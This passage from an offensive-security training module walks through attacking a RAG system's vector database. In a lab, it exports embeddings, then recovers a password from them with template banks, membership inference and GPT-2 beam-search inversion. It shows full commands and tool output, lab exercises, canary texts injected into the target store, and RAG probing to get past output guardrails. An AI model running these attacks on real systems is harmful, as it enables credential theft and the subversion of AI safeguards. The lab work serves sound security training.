#2 chunk[0] score=0.6595 (iso=0.465 rel=0.854)
#3 chunk[11] score=0.6152 (iso=0.894 rel=0.336)
#4 chunk[21] score=0.6129 (iso=0.459 rel=0.766)
#5 chunk[4] score=0.5641 (iso=1.000 rel=0.128)
[0.5s] Passing 31 candidates ->
------------------------------------------------------------
STAGE 2: PW (31 chunks -> top 20)
------------------------------------------------------------
Top 5 pw:
#1 chunk[0] final=0.1132 (rrf=0.0820 z=1.90)
#2 chunk[23] final=0.1092 (rrf=0.0806 z=1.77)
#3 chunk[21] final=0.1082 (rrf=0.0794 z=1.82)
#4 chunk[17] final=0.1008 (rrf=0.0781 z=1.45)
#5 chunk[10] final=0.0969 (rrf=0.0769 z=1.30)
[0.0s] Passing 20 candidates ->
------------------------------------------------------------
STAGE 3: RECON (20 chunks, mode=seed)
------------------------------------------------------------
Inverted 10/20
Inverted 20/20
Top 5 recon:
#1 chunk[21] combined=0.7054 (cred=1.000 inv=0.5099)
#2 chunk[17] combined=0.6166 (cred=1.000 inv=0.3630)
#3 chunk[0] combined=0.4754 (cred=0.300 inv=0.6483)
#4 chunk[23] combined=0.4349 (cred=0.100 inv=0.7034)
#5 chunk[16] combined=0.3126 (cred=0.100 inv=0.6186)
[0.4s]
------------------------------------------------------------
FUSION: Weighted RRF (density:1.0, pw:1.5, recon:2.0)
------------------------------------------------------------
========================================================================
PIPELINE RESULTS -- Top 10 (fused)
Stages: density -> pw -> recon | Timings: density=0.5s, pw=0.0s, recon=0.4s
========================================================================
Rank Chunk Fused density pw recon
-------------------------- -------- -------- --------
1 [ 0] 0.072465 #2 #1 #3
2 [ 21] 0.072221 #4 #3 #1
3 [ 23] 0.071837 #1 #2 #4
4 [ 17] 0.068041 #21 #4 #2
5 [ 19] 0.065791 #9 #6 #10
6 [ 10] 0.064976 #23 #5 #7
7 [ 11] 0.064928 #3 #7 #15
8 [ 16] 0.064553 #14 #14 #5
9 [ 12] 0.063305 #6 #11 #14
10 [ 6] 0.063288 #10 #12 #11
Score distribution (31 chunks):
max=0.072465 mean=0.060550 median=0.059403 min=0.052656
Total pipeline time: 1.0s
Each of these three chunks likely contains a credential such as a password. In a real-world engagement, this score gap would guide us as red teamers to focus embedding inversion on just these three targets rather than the full database.
--top N to limit output to the N highest-scoring results, and --company NAME to inject the target organization's name into seed bank templates for improved reconstruction matching. For this Learning Module, we'll target the 3rd ranked chunk #23 rather than the top-scoring chunk. Its embedding properties make it a useful case for exploring how different inversion techniques handle the same target and where they fall short, and we'll carry it through both the Zero-Shot and Pre-Trained Embedding Inversion Learning Units.
To extract this chunk from the exported embeddings.npy, we can use the following Python one-liner:
(venv) attacker@rag:~$ <cu>python3 -c "import numpy as np; np.save('chunk_23.npy', np.load('export/embeddings.npy')[23:24])"</cu>
Listing 10 - Extracting Chunk 23 from the Exported Embeddings NumPy File
In the next Learning Unit, we'll use what we've gathered so far to perform the actual inversion attacks.
- Start the lab "ReconEx" and enumerate the RAG system. You can use the attacker user with the password
attacker_attacker. From post-exploitation steps on another system, we know that this system uses ChromaDB as vector database. Find a way to export all the embedding vectors as NumPy file (.npy). How many embedding vectors (chunks) have been exported? - Continuing the previous exercise, identify the embedding model.
- Triage the chunks and identify the one with the highest Fused score. Enter this score rounded to two decimal places. For example, the answer for a fused score of 0.012345 would be 0.01.
Zero-shot embedding inversion
Armed with the exported embedding vectors, knowledge of the embedding model, and a filtered set of high-value chunks, we can now perform Zero-Shot Embedding Inversion. In this Learning Unit, we'll use two approaches: a template-bank-based pipeline and a beam-search approach that reconstructs text directly from embeddings.
This Learning Unit covers the following Learning Objectives:
- Perform Embedding Inversion using Template Banks and Membership Inference
- Understand an alternative Beam-Search Approach for Zero-Shot Embedding Inversion
Why templates and membership inference?
As discussed in the Embedding Attack Theory Learning Unit, embedding inversion fundamentally struggles with high-entropy tokens like passwords, API keys, and random strings. These values have no semantic predictability, so neither an LLM nor a gradient-based optimizer can reconstruct them. The embedding space captures "this is a password field" but cannot distinguish between Spring2026! and GovPass123! because both are semantically equivalent as passwords.
The practical solution is to separate the problem into two stages. First, we need to recover the semantic structure of the text (the sentence patterns and context surrounding the secrets) while replacing high-entropy values with placeholders like {PASSWORD} or {URL}. Second, we'll use membership inference to fill in those placeholders: for each slot, iterate through a wordlist, embed the template with each candidate value, and measure which candidate produces the highest cosine similarity against the target embedding. The correct value will match the exact token sequence in the original chunk, producing a measurably higher similarity than any incorrect candidate.
The accuracy of this approach depends heavily on the quality of the template. A template that closely matches the original text's structure will produce a clear similarity gap between the correct password and incorrect ones. A poor template may produce false positives or fail to distinguish the correct value at all.
To address this, our pipeline uses a large template bank rather than a single template. By scoring hundreds of thousands of templates against the target embedding and using the best matches as a voting panel, we build statistical confidence: if the correct password emerges as the consensus winner across structurally different templates, it is far more reliable than a single template's result.
Template-based embedding inversion
Please check the attached video named template_based_embedding_01.mp4
The pipeline consists of two scripts. First, generate_templates.py produces a large bank of domain-specific templates. Then, emb_fin.py scores those templates against the target embedding, selects the best matches, and runs membership inference to fill in high-entropy slots.
Let's begin by generating the template bank. An intuitive approach would be to manually write a hundred or so templates covering common enterprise patterns, but this severely limits coverage. The generate_templates.py script improves on this in several ways. It automatically detects the domain of the target embedding by scoring it against signature phrases for each of 20 supported enterprise domains (including password resets, cloud credentials, database connections, medical records, and legal documents). It then generates templates specifically-tailored to that domain through four expansion strategies: pattern-based generation that combines sentence fragments in different orders, linguistic variations that swap synonyms and rephrase clauses, structural variations that change overall sentence layout, and contextual wrapping that adds enterprise framing like urgency language or compliance notices. Starting from just 7 base templates for a domain, these expansions produce hundreds of thousands of structurally unique templates.
embeddings.npy file is the triaged chunk #23 from the previous Learning Unit. attacker@rag:~$ <cu>source venv/bin/activate</cu>
(venv) attacker@rag:~$ <cu>python3 generate_templates.py --output templates.json embeddings.npy --count 500000</cu>
[+] Loading: embeddings.npy
Shape: (1, 384)
[Detect] Loading sentence-transformers/all-MiniLM-L6-v2 on cuda
[Detect] Chunk 0 domain scores:
0.4618 it_password IT/Password Reset — login portals, password reset emails, SSO <--
0.3002 cloud_azure Cloud/Azure — tenant/client IDs, service principals, Key Vault
0.2850 ci_cd_devops CI/CD DevOps — GitHub tokens, Docker registry, Jenkins, deploy keys
0.2798 saas_credentials SaaS Credentials — Salesforce, Jira, Slack, Datadog, ServiceNow
0.2755 api_developer API/Developer — API keys, bearer tokens, service endpoints
0.2662 email_smtp Email/SMTP — mail server credentials, SendGrid/Mailgun API keys
0.2485 oauth_sso OAuth/SSO — client secrets, OIDC, SAML, JWT signing keys
0.2370 cloud_aws Cloud/AWS — access keys, secret keys, IAM, S3, EC2, Lambda
0.2283 vendor_partner Vendor/Partner — third-party API keys, partner portal creds, SFTP
0.2232 infrastructure_credentials Infrastructure — server/DB admin creds, connection strings, hostnames
0.2152 certificate_tls Certificate/TLS — SSL private key passphrases, JKS, PKCS12
0.1999 customer_pii Customer PII — SSN, credit cards, addresses, KYC data
0.1992 network_vpn Network/VPN — VPN gateways, WiFi passwords, firewall admin, SNMP
0.1930 database_connection Database Connections — JDBC/DSN strings, DATABASE_URL, ODBC
0.1898 encryption_keys Encryption/Vault — Vault tokens, KMS keys, GPG passphrases, SOPS
0.1450 financial_banking Financial/Banking — wire transfers, routing/account numbers, SWIFT
0.0825 internal_strategy Internal Strategy — board minutes, M&A pipeline, earnings, layoffs
0.0760 medical_hipaa Medical/HIPAA — patient records, MRN, diagnoses, prescriptions
0.0707 hr_employee HR/Employee Records — salaries, SSN, benefits, personnel files
0.0579 legal_confidential Legal/Confidential — NDAs, settlements, M&A, acquisition terms
[+] Detected domain: it_password
(IT/Password Reset — login portals, password reset emails, SSO)
[+] Generating 500,000 templates...
[+] Generating templates for: IT/Password Reset
Target: 500,000
Base templates: 7 (total: 7)
Pattern-based: 166,049 (total: 166,056)
Linguistic variations: 166,671 (total: 332,727)
Structural variations: 125,000 (total: 457,727)
Contextual wrapping: 125,000 (total: 582,727)
Final count: 582,727
[+] Generated 500,000 unique templates
Sample templates (20):
We ask that you authenticate at {URL}. Your new password is {PASSWORD} on your next sign in.
login to {URL} and Reset credential. Temporary credential: {PASSWORD} to complete setup.
The initial password is {PASSWORD}. please access {URL} and Security reset.
Notice: sign in at {URL}. Your new password is {PASSWORD} right away.
Your new password is {PASSWORD} upon first login. open {URL} and Forgot password.
It is required that you click {URL}. Use password {PASSWORD} on your next authenticate.
Important: go {URL}. The default credential is {PASSWORD} immediately.
Temporary credential: {PASSWORD}. You should navigate to {URL} before it expires.
Your account has been reset. The initial password is {PASSWORD}. You must hit {URL} right away.
visit {URL} and Forgot your password. Your temporary password is {PASSWORD} immediately!
It is required that you open up {URL} and click on Reset your password. One-time password: {PASSWORD} and must be update...
Your password has been set to {PASSWORD}. check out {URL} and Password assistance.
For security purposes, access endpoint {URL}. The default credential is {PASSWORD} before it expires.
sign in at {URL}. Your credential has been set to {PASSWORD}!
Lost access? You are required to click {URL}. password: {PASSWORD}.
Kindly check out {URL} and Security reset. Use password {PASSWORD} immediately.
For security purposes, open {URL}. passcode: {PASSWORD} within 24 hours.
For your security, login to {URL}. Use credential {PASSWORD} before it expires.
open {URL} and Password update. Password: {PASSWORD} before it expires Failure to comply may result in account lockout.
Password: {PASSWORD} immediately. sign in at {URL} and Security reset.
[+] Saved to: templates.json
Listing 11 - Generating an Expanded Template Bank
(Explain template generation and domain detection)|Explain how the generate_templates.py script works. How does it detect that the target embedding belongs to the "it_password" domain using similarity scores (0.4618 for it_password vs 0.3002 for cloud_azure)? Then explain the four expansion strategies (pattern-based, linguistic variations, structural variations, contextual wrapping) and why starting from 7 base templates can produce 582,727 unique templates.
(venv) attacker@rag:~$ <cu>python3 generate_templates.py --output templates.json embeddings.npy --count 500000</cu>
[+] Loading: embeddings.npy
Shape: (1, 384)
[Detect] Loading sentence-transformers/all-MiniLM-L6-v2 on cuda
[Detect] Chunk 0 domain scores:
0.4618 it_password IT/Password Reset — login portals, password reset emails, SSO <--
0.3002 cloud_azure Cloud/Azure — tenant/client IDs, service principals, Key Vault
0.2850 ci_cd_devops CI/CD DevOps — GitHub tokens, Docker registry, Jenkins, deploy keys
0.2798 saas_credentials SaaS Credentials — Salesforce, Jira, Slack, Datadog, ServiceNow
0.2755 api_developer API/Developer — API keys, bearer tokens, service endpoints
0.2662 email_smtp Email/SMTP — mail server credentials, SendGrid/Mailgun API keys
0.2485 oauth_sso OAuth/SSO — client secrets, OIDC, SAML, JWT signing keys
0.2370 cloud_aws Cloud/AWS — access keys, secret keys, IAM, S3, EC2, Lambda
0.2283 vendor_partner Vendor/Partner — third-party API keys, partner portal creds, SFTP
0.2232 infrastructure_credentials Infrastructure — server/DB admin creds, connection strings, hostnames
0.2152 certificate_tls Certificate/TLS — SSL private key passphrases, JKS, PKCS12
0.1999 customer_pii Customer PII — SSN, credit cards, addresses, KYC data
0.1992 network_vpn Network/VPN — VPN gateways, WiFi passwords, firewall admin, SNMP
0.1930 database_connection Database Connections — JDBC/DSN strings, DATABASE_URL, ODBC
0.1898 encryption_keys Encryption/Vault — Vault tokens, KMS keys, GPG passphrases, SOPS
0.1450 financial_banking Financial/Banking — wire transfers, routing/account numbers, SWIFT
0.0825 internal_strategy Internal Strategy — board minutes, M&A pipeline, earnings, layoffs
0.0760 medical_hipaa Medical/HIPAA — patient records, MRN, diagnoses, prescriptions
0.0707 hr_employee HR/Employee Records — salaries, SSN, benefits, personnel files
0.0579 legal_confidential Legal/Confidential — NDAs, settlements, M&A, acquisition terms
[+] Detected domain: it_password
(IT/Password Reset — login portals, password reset emails, SSO)
[+] Generating 500,000 templates...
[+] Generating templates for: IT/Password Reset
Target: 500,000
Base templates: 7 (total: 7)
Pattern-based: 166,049 (total: 166,056)
Linguistic variations: 166,671 (total: 332,727)
Structural variations: 125,000 (total: 457,727)
Contextual wrapping: 125,000 (total: 582,727)
Final count: 582,727
[+] Generated 500,000 unique templates
Sample templates (20):
We ask that you authenticate at {URL}. Your new password is {PASSWORD} on your next sign in.
login to {URL} and Reset credential. Temporary credential: {PASSWORD} to complete setup.
The initial password is {PASSWORD}. please access {URL} and Security reset.
Notice: sign in at {URL}. Your new password is {PASSWORD} right away.
Your new password is {PASSWORD} upon first login. open {URL} and Forgot password.
It is required that you click {URL}. Use password {PASSWORD} on your next authenticate.
Important: go {URL}. The default credential is {PASSWORD} immediately.
Temporary credential: {PASSWORD}. You should navigate to {URL} before it expires.
Your account has been reset. The initial password is {PASSWORD}. You must hit {URL} right away.
visit {URL} and Forgot your password. Your temporary password is {PASSWORD} immediately!
It is required that you open up {URL} and click on Reset your password. One-time password: {PASSWORD} and must be update...
Your password has been set to {PASSWORD}. check out {URL} and Password assistance.
For security purposes, access endpoint {URL}. The default credential is {PASSWORD} before it expires.
sign in at {URL}. Your credential has been set to {PASSWORD}!
Lost access? You are required to click {URL}. password: {PASSWORD}.
Kindly check out {URL} and Security reset. Use password {PASSWORD} immediately.
For security purposes, open {URL}. passcode: {PASSWORD} within 24 hours.
For your security, login to {URL}. Use credential {PASSWORD} before it expires.
open {URL} and Password update. Password: {PASSWORD} before it expires Failure to comply may result in account lockout.
Password: {PASSWORD} immediately. sign in at {URL} and Security reset.
[+] Saved to: templates.json
With the template bank ready, let's also download a password wordlist for the membership inference stage:
(venv) attacker@rag:~$ <cu>wget -O passwords.txt https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt</cu>
Listing 12 - Downloading a Password List with 100k Entries
Now we run emb_fin.py, the unified pipeline that scores the template bank, selects diverse high-scoring templates, and runs membership inference with consensus voting. A straightforward implementation of this idea would score all templates, take the top 20, and run membership inference against each, but this produces unreliable results because many top-scoring templates are near-duplicates that inflate consensus artificially.
The script addresses this and other failure modes with four key improvements. First, adaptive template selection uses a relative threshold (based on the highest-scoring template's similarity) rather than a fixed top-N count, so the number of participating templates adapts to the actual score landscape.
Second, diversity clustering computes pairwise cosine similarities between qualifying templates and greedily filters near-duplicates, ensuring the consensus is built from genuinely independent perspectives.
Third, two-stage narrowing runs the full wordlist against only the top few templates first, then promotes only the most promising candidates to a full tournament against all diverse templates, which provides a significant speedup on large wordlists.
Fourth, margin-aware scoring measures each candidate's improvement over a neutral baseline rather than comparing raw similarity scores, isolating the contribution of the password slot itself from the surrounding template text and reducing false positives caused by semantic overlap (for example, a password containing "mega" scoring artificially high because the company is called Megacorp).
(venv) attacker@rag:~$ <cu>python emb_fin.py embeddings.npy --chunk 0 --templates templates.json --wordlist passwords.txt --slots PASSWORD --default-URL https://login.megacorpone.ai --max-templates 500000</cu>
[+] Loading: embeddings.npy
Shape: (1, 384)
[Engine] Loading sentence-transformers/all-MiniLM-L6-v2 on cuda
[Chunk 0]
Scoring template bank...
Templates loaded: 500,000 from json: templates_up.json
Slot filling...
[SlotFiller] Neutral defaults active: URL=https://login.megacorpone.ai
[SlotFiller] Loaded 99,839 entries for PASSWORD
[Slot: PASSWORD] Pass 1 — testing across 20 seed templates...
Template 20/20 (99,839 candidates)...
[Progressive] Locked slots: PASSWORD=N0=Acc3ss
--- Chunk 0 ---
Best template match (68.7% similarity):
"The reset password is {PASSWORD} as soon as possible. check out {URL} ..."
Extracted values:
PASSWORD = N0=Acc3ss
Likely — 18/20 templates agree, narrow statistical margin
Reconstructed: "The reset password is N0=Acc3ss as soon as possible. check out {URL} a..."
========================================
RESULTS SUMMARY
========================================
Extracted values:
+ PASSWORD = N0=Acc3ss
Likely — 18/20 templates agree, narrow statistical margin
Chunk 0 | Best template: 92.4% match
Stats: 1 chunk(s) analyzed, 500,000 templates scored
Validated: 0 | Needs verification: 1 | Rejected: 0
Listing 13 - Running Unified Pipeline emb_fin.py
The output shows that the password N0=Acc3ss was identified, with 18 out of 20 templates agreeing. The --default-URL flag provides the known URL value so the script can fill that slot with accurate context rather than a generic placeholder, improving signal quality for the PASSWORD slot.
(Explain the membership inference results)|Break down the emb_fin.py output. Explain what "68.7% similarity" for the best template match means versus the "92.4% match" reported in the results summary. What does "18/20 templates agree, narrow statistical margin" tell us about confidence, and why does the script use a "progressive fill-and-lock" mechanism when multiple slots exist?
(venv) attacker@rag:~$ <cu>python emb_fin.py embeddings.npy --chunk 0 --templates templates.json --wordlist passwords.txt --slots PASSWORD --default-URL https://login.megacorpone.ai --max-templates 500000</cu>
[+] Loading: embeddings.npy
Shape: (1, 384)
[Engine] Loading sentence-transformers/all-MiniLM-L6-v2 on cuda
[Chunk 0]
Scoring template bank...
Templates loaded: 500,000 from json: templates_up.json
Slot filling...
[SlotFiller] Neutral defaults active: URL=https://login.megacorpone.ai
[SlotFiller] Loaded 99,839 entries for PASSWORD
[Slot: PASSWORD] Pass 1 — testing across 20 seed templates...
Template 20/20 (99,839 candidates)...
[Progressive] Locked slots: PASSWORD=N0=Acc3ss
--- Chunk 0 ---
Best template match (68.7% similarity):
"The reset password is {PASSWORD} as soon as possible. check out {URL} ..."
Extracted values:
PASSWORD = N0=Acc3ss
Likely — 18/20 templates agree, narrow statistical margin
Reconstructed: "The reset password is N0=Acc3ss as soon as possible. check out {URL} a..."
========================================
RESULTS SUMMARY
========================================
Extracted values:
+ PASSWORD = N0=Acc3ss
Likely — 18/20 templates agree, narrow statistical margin
Chunk 0 | Best template: 92.4% match
Stats: 1 chunk(s) analyzed, 500,000 templates scored
Validated: 0 | Needs verification: 1 | Rejected: 0
Beyond the four core improvements, the script also uses weighted consensus (higher-similarity templates have more influence on the final vote), gap-based confidence scoring (measuring how far ahead the winning candidate is compared to the runner-up), and a progressive fill-and-lock mechanism for handling multiple slots, filling each independently, locking any that meet a confidence threshold, then re-filling the remaining slots with locked values substituted in.
This typically happens when the wordlist is too large relative to the password's contribution to the embedding. A password might account for only 5-10% of the total embedding variance, and with 99,000 candidates that are all semantically empty to the model, that small signal is swamped by noise. Reducing the candidate pool to 500-5,000 entries using targeted wordlists from earlier phases of the engagement dramatically improves discrimination. Shorter surrounding context also helps. If the password represents a larger fraction of the total text, it dominates more of the embedding and becomes easier to distinguish.
Let's verify the result by checking the original PDF:
(venv) attacker@rag:~$ <cu>pdftotext MC1_password_reset.pdf</cu>
IT Security - Password Reset Procedure
Please navigate to https://login.megacorpone.ai and click on "Need help signing in". The
default password after resetting is N0=Acc3ss which must be changed immediately upon first
login.
Listing 14 - Displaying Original Text Representation
We successfully reconstructed the password from the embeddings by combining template-based embedding inversion with membership inference. This demonstrates that embeddings are not one-way functions. Given the right conditions (access to embeddings, knowledge of the embedding model, and a good wordlist), we can recover sensitive information from a vector database.
--verbose flag to see the raw z-scores, margin gaps, internal tier classifications, and percentile rankings behind each confidence label. A truly random password like "1qaz2wsx3edc4rfv" is different. It gets tokenized into meaningless subwords ("1", "qa", "z", "2", "ws", "x"...) that carry no semantic weight. The model treats them as noise. Swapping it for any other random-looking string barely moves the 384-dimensional vector, because the model considers them all equally meaningless. With 99,000 candidates that are all "semantically empty," the cosine similarity differences land in the noise floor (~0.0001), and the winning candidate is essentially random.
The boundary is this: membership inference over embeddings can recover values that contribute semantic signal. Meaningful passwords, usernames, hostnames, and URLs all work because the model encodes them distinctively. Truly random strings that contribute no semantic content to the embedding are not reliably recoverable through this approach.
What would actually make random passwords recoverable are fundamentally different model architectures: character-level or byte-level models that encode exact sequences rather than semantic chunks, or models trained with reconstruction objectives that preserve all input information rather than just meaning. Current embedding models used in production RAG systems are not designed this way, which is why the limitation is structural rather than a matter of scale.
- Perform the Template-Based Embedding Inversion Attack with Membership Inference on the prepared file
embeddings2.npyin the home directory of the attacker user. What is the password that can be reconstructed? - The
emb_fin.pypipeline uses "margin-aware scoring" to isolate the password slot's contribution from the surrounding template text. Explain why a naive approach (simply picking the candidate with the highest overall cosine similarity) would produce false positives in an engagement against a company called "Megacorp" when testing a password like "mega123".
Beam-search embedding inversion
Please check the attached video named beam_search_embedding_01.mp4
The emb_fin.py pipeline works well when the template bank covers the target domain. But the pipeline depends entirely on the bank containing at least one template whose structure is close enough to the original text. If we are attacking an embedding from an unknown domain, or the original text uses an unusual structure not represented in the bank, even 500,000 generated templates may not produce a close enough match.
The zero2text_impl.py script addresses this by reconstructing text directly from the embedding before running membership inference. The core beam-search algorithm is based on the Zero2Text research (arXiv 2602.01757v2): a language model (GPT-2) proposes plausible next tokens, each candidate extension is embedded and scored by cosine similarity against the target, and the best candidates are kept at each step. Over 30-40 steps, the beams converge toward text that both reads as plausible English and produces an embedding close to the target.
Our implementation extends the paper's approach in several ways to make it practical for red team use. The paper presents beam search as a standalone reconstruction method, but the recovered text is approximate. This means it captures semantic structure while garbling high-entropy values.
Our script adds automatic high-entropy detection using Shannon entropy analysis (flagging tokens with high per-character entropy and multiple character classes) combined with regex pattern matching for common credential formats (API keys starting with "sk-", JWT tokens starting with "eyJ", hex hashes, passwords mixing letters, digits, and special characters). Each detected region is replaced with a typed slot placeholder ({PASSWORD}, {API_KEY}) classified from keyword context in the surrounding text.
The script then merges this dynamically-created template with the top templates from the bank, applies diversity clustering to the combined pool, and runs the same slot-filling engine as emb_fin.py (adaptive selection, two-stage narrowing, margin-aware scoring, progressive fill-and-lock) to recover the actual values. In other words, the beam search handles the structural recovery that the template bank might miss, and the slot filler from emb_fin.py handles the high-entropy recovery that the beam search cannot perform, combining the strengths of both approaches in a single pipeline.
Let's run it on the previously-exported embeddings.npy with the same parameters and compare the results.
(venv) attacker@rag:~$ <cu>python3 zero2text_impl.py embeddings.npy \
--chunk 0 \
--templates templates.json \
--wordlist passwords.txt \
--slots PASSWORD \
--default-URL https://login.megacorpone.ai \
--max-templates 500000</cu>
[+] Loading: embeddings.npy
Shape: (1, 384)
[Engine] Loading sentence-transformers/all-MiniLM-L6-v2 on cuda
[Chunk 0]
Templates: 500,000 (json: templates.json)
Inverting (max_tokens=32)...
[Zero2Text] Loading gpt2 on CPU...
[Zero2Text] gpt2 ready.
[Zero2Text] ASCII filter: 49356 of 50257 tokens
[Early stop] Stagnation (8 steps)
[Zero2Text done] 8 steps, similarity=0.9160
Inversion: 91.6% similarity
Entropy analysis...
Found 1 high-entropy region(s)
Template pool (top-50)...
Selected 5 diverse templates from top-50
Slot filling...
[SlotFiller] Neutral defaults active: URL=https://login.megacorpone.ai
[SlotFiller] Loaded 99,839 entries for PASSWORD
[Slot: PASSWORD] Pass 1 -- testing across 5 seed templates...
[Two-Stage] Running coarse pass on 99,839 candidates...
[Coarse] Template 3/3 (99,839 candidates)...
[Coarse] Stage 1 complete: 200 survivors from 99,839 candidates
[Two-Stage] Stage 2: full tournament on 200 survivors across 4 templates
Template 4/4 (200 candidates)...
[Progressive] Locked slots: PASSWORD=N0=Acc3ss
--- Chunk 0 ---
Text inversion (91.6% similarity):
"kindly visit https://login.megacorpone.ai. Click on Security reset. Th..."
Entropy: 1 high-entropy region(s) detected
Best template match (69.8% similarity):
"kindly visit {URL} Click on Security reset. The default password is pa..."
Extracted values:
PASSWORD = N0=Acc3ss
Strong — 4/5 templates agree, 3.1x ahead of runner-up
Reconstructed: "kindly visit {URL} Click on Security reset. The default password is pa..."
========================================
RESULTS SUMMARY
========================================
Extracted values:
+++ PASSWORD = N0=Acc3ss
Strong — 4/5 templates agree, 3.1x ahead of runner-up
Chunk 0 | Best template: 92.2% match
Separation ratio: 3.1x
Inversions:
Chunk 0: 91.6% similarity
"kindly visit https://login.megacorpone.ai. Click on Security reset. Th..."
Stats: 1 chunk(s) analyzed, 500,000 templates scored
Validated: 1 | Needs verification: 0 | Rejected: 0
Listing 15 - Running the Zero2Text Implementation
The password is recovered with Strong confidence (3.1x separation ratio). The beam-search inversion achieved 91.6% cosine similarity and correctly recovered the semantic structure, while the entropy detection identified the password region and the slot filler recovered N0=Acc3ss.
(Explain beam-search inversion)|Explain how zero2text_impl.py reconstructs text from an embedding. What role does GPT-2 play versus the embedding model during beam search? What does "[Early stop] Stagnation (8 steps)" mean and why is early stopping useful? Finally, explain why the script detects "1 high-entropy region(s)" and replaces it with a {PASSWORD} slot instead of trying to reconstruct the actual password value.
(venv) attacker@rag:~$ <cu>python3 zero2text_impl.py embeddings.npy \
--chunk 0 \
--templates templates.json \
--wordlist passwords.txt \
--slots PASSWORD \
--default-URL https://login.megacorpone.ai \
--max-templates 500000</cu>
[+] Loading: embeddings.npy
Shape: (1, 384)
[Engine] Loading sentence-transformers/all-MiniLM-L6-v2 on cuda
[Chunk 0]
Templates: 500,000 (json: templates.json)
Inverting (max_tokens=32)...
[Zero2Text] Loading gpt2 on CPU...
[Zero2Text] gpt2 ready.
[Zero2Text] ASCII filter: 49356 of 50257 tokens
[Early stop] Stagnation (8 steps)
[Zero2Text done] 8 steps, similarity=0.9160
Inversion: 91.6% similarity
Entropy analysis...
Found 1 high-entropy region(s)
Template pool (top-50)...
Selected 5 diverse templates from top-50
Slot filling...
[SlotFiller] Neutral defaults active: URL=https://login.megacorpone.ai
[SlotFiller] Loaded 99,839 entries for PASSWORD
[Slot: PASSWORD] Pass 1 -- testing across 5 seed templates...
[Two-Stage] Running coarse pass on 99,839 candidates...
[Coarse] Template 3/3 (99,839 candidates)...
[Coarse] Stage 1 complete: 200 survivors from 99,839 candidates
[Two-Stage] Stage 2: full tournament on 200 survivors across 4 templates
Template 4/4 (200 candidates)...
[Progressive] Locked slots: PASSWORD=N0=Acc3ss
--- Chunk 0 ---
Text inversion (91.6% similarity):
"kindly visit https://login.megacorpone.ai. Click on Security reset. Th..."
Entropy: 1 high-entropy region(s) detected
Best template match (69.8% similarity):
"kindly visit {URL} Click on Security reset. The default password is pa..."
Extracted values:
PASSWORD = N0=Acc3ss
Strong — 4/5 templates agree, 3.1x ahead of runner-up
Reconstructed: "kindly visit {URL} Click on Security reset. The default password is pa..."
========================================
RESULTS SUMMARY
========================================
Extracted values:
+++ PASSWORD = N0=Acc3ss
Strong — 4/5 templates agree, 3.1x ahead of runner-up
Chunk 0 | Best template: 92.2% match
Separation ratio: 3.1x
Inversions:
Chunk 0: 91.6% similarity
"kindly visit https://login.megacorpone.ai. Click on Security reset. Th..."
Stats: 1 chunk(s) analyzed, 500,000 templates scored
Validated: 1 | Needs verification: 0 | Rejected: 0
zero2text_impl.py script also supports a dual-embedder mode via the --local-model flag. In this mode, a separate local embedding model handles candidate scoring during beam search, and a ridge regression matrix maps its outputs to the victim model's embedding space, reducing victim model queries from thousands to dozens per step. This is useful when the victim model is accessed through a paid API (reducing cost) or when minimizing queries to the target endpoint matters for stealth. The trade-off is accuracy: the projection introduces an approximation error, which can reduce slot-filling confidence compared to direct mode. When we have local access to the embedding model, direct mode is simpler and produces more reliable results. - As in the previous section, perform the Beam-Search Embedding Inversion Attack with Membership Inference on the prepared file
embeddings2.npyin the home directory of the attacker user. What is the password that can be reconstructed? - The beam-search approach uses GPT-2 to propose candidate tokens at each step. Research GPT-2's architecture and vocabulary size. Why is GPT-2 suitable for this task despite being a relatively old and small language model, and what would be the trade-off of using a larger model like LLaMA-7B instead?
- The section mentions a "dual-embedder mode" that uses a local embedding model plus ridge regression to reduce queries to the victim model. In what engagement scenario would minimizing victim model queries be critical, and what accuracy trade-off does the ridge regression approximation introduce?
When to use which zero-shot approach
In most assessments, we should start with emb_fin.py. If the top template exceeds 60-65% similarity and the slot filler produces "Strong" or "Moderate" confidence, the result is likely reliable.
If the top template similarity is low or confidence is "Weak" or "Unlikely", we should run zero2text_impl.py, which recovers actual structure from the embedding and automatically detects high-entropy regions without predefined slot names.
The trade-off is cost: zero2text_impl.py loads GPT-2 alongside the embedding model and runs hundreds of thousands of additional embedding computations during beam search. While it can fall back to CPU, this is impractically slow in most cases, making a GPU effectively necessary. When the template bank already covers the target domain well, this extra cost does not improve results, which is why emb_fin.py, which runs comfortably on CPU, should be the default starting point.
Pre-trained embedding inversion
The approaches we have covered so far work without any pre-training, doing all work at inference time by scoring candidates against the target embedding. Pre-trained attacks flip this: they invest time before the engagement to train a model that learns the mapping from embeddings back to text. The upfront cost can be significant, but the payoff is faster per-embedding inference and the ability to operate even when the embedding model is unknown.
In this Learning Unit, we'll cover ALGEN with canary embeddings and inference probing to identify a password. Then, we'll briefly review Vec2Text as an alternative for scenarios with substantial preparation time.
This Learning Unit covers the following Learning Objectives:
- Utilize ALGEN with Canary Embeddings and Inference Probing to identify a Password
- Understand when to use Vec2Text
ALGEN with canary embeddings
Please check the attached video named algen_with_canary_01.mp4
ALGEN (ACL 2025) takes a different approach. Instead of scoring candidates against a target embedding, it trains a small neural network (FlanT5-small) to decode text from an embedding in a single pass. The setup has two steps: train a decoder that maps embeddings to text, then compute a linear alignment matrix between the target's embedding space and our decoder's space using real text-embedding pairs.
The base ALGEN repository works but has two practical limitations: it targets transformers 4.x (causing silent training failures on current versions) and its synthetic alignment approach drifts when the local environment doesn't exactly match the target. Our adapted pipeline fixes both and adds three improvements.
First, canary injection: instead of computing alignment embeddings locally, we insert known "canary" texts into the target's vector database and export the embeddings the target system produced. Both sides of the alignment come from the exact same model in the exact same environment, eliminating drift. The canaries also double as decoder training data.
Second, we double the decoder's token limit from 32 to 64. With 32 tokens, output gets truncated before useful details like domain names. With 64, the decoder captures enough semantic fingerprints (domain fragments, keywords, phrasing patterns) to enable the third improvement.
The third (and most critical) improvement is inference probing integration. Even with canary alignment and doubled token length, the decoder still produces approximate, often wrong-topic text. But the output now contains enough semantic fingerprints to serve as input for targeted RAG queries. The rag_probe_attack.py script extracts keywords from ALGEN's output and uses them to ask the RAG chat interface targeted questions, retrieving the actual document content. Output guardrails may redact sensitive values like passwords, but that's exactly what creates detectable {PASSWORD} slots for membership inference. In other words, ALGEN's role shifts from "reconstruct the full text" to "identify topic keywords for RAG probing."
Let's walk through the full pipeline. First, we'll set up the environment and generate training data.
